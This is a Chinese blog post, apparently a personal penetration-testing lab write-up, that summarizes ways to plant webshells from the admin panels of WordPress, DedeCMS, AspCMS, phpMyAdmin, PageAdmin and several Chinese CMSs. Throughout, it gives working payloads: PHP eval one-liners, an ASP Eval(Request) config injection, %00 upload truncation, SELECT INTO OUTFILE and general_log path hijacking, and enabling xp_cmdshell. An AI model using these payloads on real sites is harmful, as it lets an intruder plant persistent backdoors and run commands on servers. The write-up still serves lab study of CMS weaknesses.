首页 > 系统相关 >后台拿Webshell总结

后台拿Webshell总结

时间:2023-04-22 22:34:49浏览次数:38  
标签:Webshell 总结 www 配置文件 adbody 后台 aid php 上传

Wordpress

模板上传一句话

后台 -> 外观 -> 主题 -> 编辑

选择文件为php后缀的模板,并写入一句话木马

<?php phpinfo();eval($_POST['cmd']);?>

image-20230422195040466

访问该文件,默认路径为http://www.cbi1.com/wp-content/themes/twentysixteen/archive.php

image-20230422195252843

用蚁剑连接一句话

image-20230422195346674

上传主题传一句话

在网上随便下载一个wordpress主题,并加入自己的一句话木马,重新打包成zip文件

image-20230422195842743

上传路径 http://www.cbi1.com/wp-admin/theme-install.php

上传后用蚁剑连接即可

dedecms

登录路径:http://www.cbi2.com/dede/login.php?gotopage=%2Fdede%2F

通过文件管理器上传

image-20230422200348925

可任意文件上传

尝试上传一个php一句话

image-20230422200628221

通过修改模板上传

image-20230422200850951

插入php一句话

此时还是html代码,无法执行,需要到生成 -> 更新主页html,将文件后缀改一下

image-20230422201139044

新增广告任意命令执行

后台广告管理,可以插入任意php代码

image-20230422201705804

上传后会显示广告位置

image-20230422201814664

image-20230422202001257

用蚁剑可连接

分析一下源码

require_once(dirname(__FILE__)."/../include/common.inc.php");

if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');

$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
    $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
    $adbody = '';
    if($row['timeset']==0)
    {
        $adbody = $row['normbody'];
    }
    else
    {
        $ntime = time();
        if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
            $adbody = $row['expbody'];
        } else {
            $adbody = $row['normbody'];
        }
    }
    $adbody = str_replace('"', '\"',$adbody);
    $adbody = str_replace("\r", "\\r",$adbody);
    $adbody = str_replace("\n", "\\n",$adbody);
    $adbody = "<!--\r\ndocument.write(\"{$adbody}\");\r\n-->\r\n";
    $fp = fopen($cacheFile, 'w');
    fwrite($fp, $adbody);
    fclose($fp);
}
include $cacheFile;

源码是从数据库中读取ad的内容,进行某些特殊字符的过滤后,重新写入文件,并用include包含,造成命令执行漏洞

aspcms

登录路径:http://www.cbi3.com/admin_aspcms/login.asp

后台修改配置文件

看到扩展功能 -> 幻灯盘设置这里的字段会出现在配置文件中,猜测修改这里的字段提交会影响到配置文件

image-20230422203757703

image-20230422203924958

保存幻灯片设置,抓包提交

经测试,程序会过滤 %,所以对其进行url编码

image-20230422210348350

%25><%25Eval(Request (chr(65)))%25><%25
image-20230422210514503

南方数据企业系统

登录后台 http://www.cbi7.com/admin/Login.asp

后台上传截断

添加下载处有上传点

image-20230422211045131

尝试直接上传asp文件,上传格式不允许

将asp后缀改为jpg,继续上传

尝试截断,%00要用url编码

image-20230422212454810

发送后成功上传,并可以成功用蚁剑连接

配置文件上传

跟aspcms修改配置文件类似,只是没有对特殊符号进行处理

系统管理 -> 常量设置 -> 直接插入一句话

image-20230422212721492

配置文件路径 http://www.cbi7.com//Inc/Const.asp

另外更改网站设置,也可以改配置文件,只不过要考虑闭合问题

image-20230422213050668

蚁剑连接成功

phpmyadmin

前提是可写

可用这条语句查询,若什么都没设置可写,设置为NULL的话证明所有目录都不可写

show variables like '%secure%';

常规方法直接写到网站根目录,但是需要知道路径

select '<?php phpinfo();eval($_POST[cmd]);?>' into outfile 'C:/phpstudy_pro/WWW/x.php'

不知道路径的情况下,可以利用日志拿webshell

因为可以用phpmyadmin直接修改日志的存储路径

SET global general_log = "ON"; #日志保存状态开启;
SET global general_log_file='C:/phpstudy_pro/WWW/a.php'; #修改日志的保存位置

此时使用查询语句,日志就会写入C:/phpstudy_pro/WWW/a.php

select '<?php phpinfo();eval($_POST[/'cmd/']);?>'

再用蚁剑连接日志文件即可

pageadmin

登陆口 http://www.cbi9.com/admin/login/

上传模块拿shell

网站 -> 模板管理,上传zip文件(用一句话解压的)

image-20230422215243605

用蚁剑连接,正常

image-20230422215312638

也可以去到 工具 -> 文件管理 -> Templates目录

上传模板zip文件会自动解压,原理差不多

查找数据库配置文件执行拿shell

同样是文件管理中,发现有web.config,里面有数据库连接信息

image-20230422215637553

用数据库客户端连接开启xp_cmdshell

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell',1;RECONFIGURE

无忧企业系统

登录口 http://www.cbi18.com/admin/default.asp

无忧企业系统数据库为asp格式

且存在数据库备份,在留言中所有内容都会被写入备份文件中

image-20230422221622894

在留言板中写入数据库一句话

┼攠數畣整爠煥敵瑳∨≡┩愾 密码a

image-20230422221611447

访问一句话时,需要url编码,因为url 遇到#会当作瞄点 所以要将#url编码后在进行访问。(用蚁剑不用编码)

参考资料

暗月学习笔记,自己复现后做的记录

标签:Webshell,总结,www,配置文件,adbody,后台,aid,php,上传
From: https://www.cnblogs.com/cha0s32/p/17344294.html

相关文章

  • 今日总结0420
    今天是周四,上午在APP中增加了商品列表的展示,代码如下:publicclassBuhuoActivityextendsAppCompatActivityimplementsView.OnClickListener{privateListViewmSimpleList;privateSimpleAdaptermSimpleAdapter;privateList<Map<String,Object>>mList;p......
  • 每日总结 4.22
    今天进行了数据测试。进行了我这边的主要流程:  <!DOCTYPEHTML><html><head><title>登录界面</title><metacharset="utf-8"><metahttp-equiv="pragma"content="no-cache"><metahttp-eq......
  • SpringMVC 后台从前端获取单个参数
    1.编写web.xml(模板)2.springmvc配置文件3.编写对应数据库字段的pojo实体类@Data@AllArgsConstructor@NoArgsConstructorpublicclassUser{privateintid;privateStringname;privateintage;}ViewCode4.编写Controller类首先是从前端获取单......
  • 每日总结2023/4/22
    今天对图形界面做了优化,增加了切换账号,点击选择时间        ......
  • linux中断总结
    中断分为上半部和下半部,上半部为硬中断处理,主要是为了处理一些对时间要求很高的数据,然后将剩下繁琐(需要很多时间)的工作交给下半部。下半部:软中断,tasklet和工作队列。 硬中断:中断电信号发送到中断控制器(将多路中断管线,采用复用技术只通过一个管线与处理器通信)的输入引脚中,中断......
  • RuoYi-Vue 分离版 收获与总结
    https://blog.csdn.net/qq_41965731/article/details/115241184一、常量的定义以下是阿里编码规约   二、图片的base64编码https://blog.csdn.net/duola8789/article/details/78844431概述博客三、在项目启动时将一些数据提交加载到缓存中1.利用@PostConstruct......
  • RocketMQ【RocketMQ应用实战、发送异步消息、单向发送消息、顺序发送消息、顺序消费消
    目录RocketMQ应用实战RocketMQ应用实战生产者实战生产端发送同步消息publicclassSyncProducer{publicstaticvoidmain(String[]args)throwsException{//实例化消息生产者ProducerDefaultMQProducerproducer=newDefaultMQProducer("please_rename_uniq......
  • Java中ArrayList的遍历与删除元素方式总结
    在Java编程中,我们经常需要对数据结构进行遍历操作,并根据业务需求删除部分元素。而数组列表(ArrayList)是集合类中的一种,它可以动态地添加和删除元素,非常适合在程序中使用。本篇博客将总结ArrayList中的两种遍历和删除元素的方式。在下面的示例代码中,我们先定义了一个ArrayList对象,......
  • mybatis总结
    mybatis总结 https://blog.csdn.net/qq_47540091/article/details/123446973Mybatisin逗号分隔字符串 <updateid="softDel"parameterType="String">SELECT*FROMstudyWHEREidin<foreachitem="item"index="inde......
  • Ffmpeg分布式视频转码问题总结
    本文主要聊一聊云原生时代分布式转码系统实施过程中碰到的一些问题。聊问题之前简单介绍一下我们的分布式转码方案。云原生分布式转码在计算资源招之即来的云计算时代,正在重构着软件架构的方方面面。对软件架构师或者运维管理者影响比较大的一个点便是不需要在做容量规划,不需......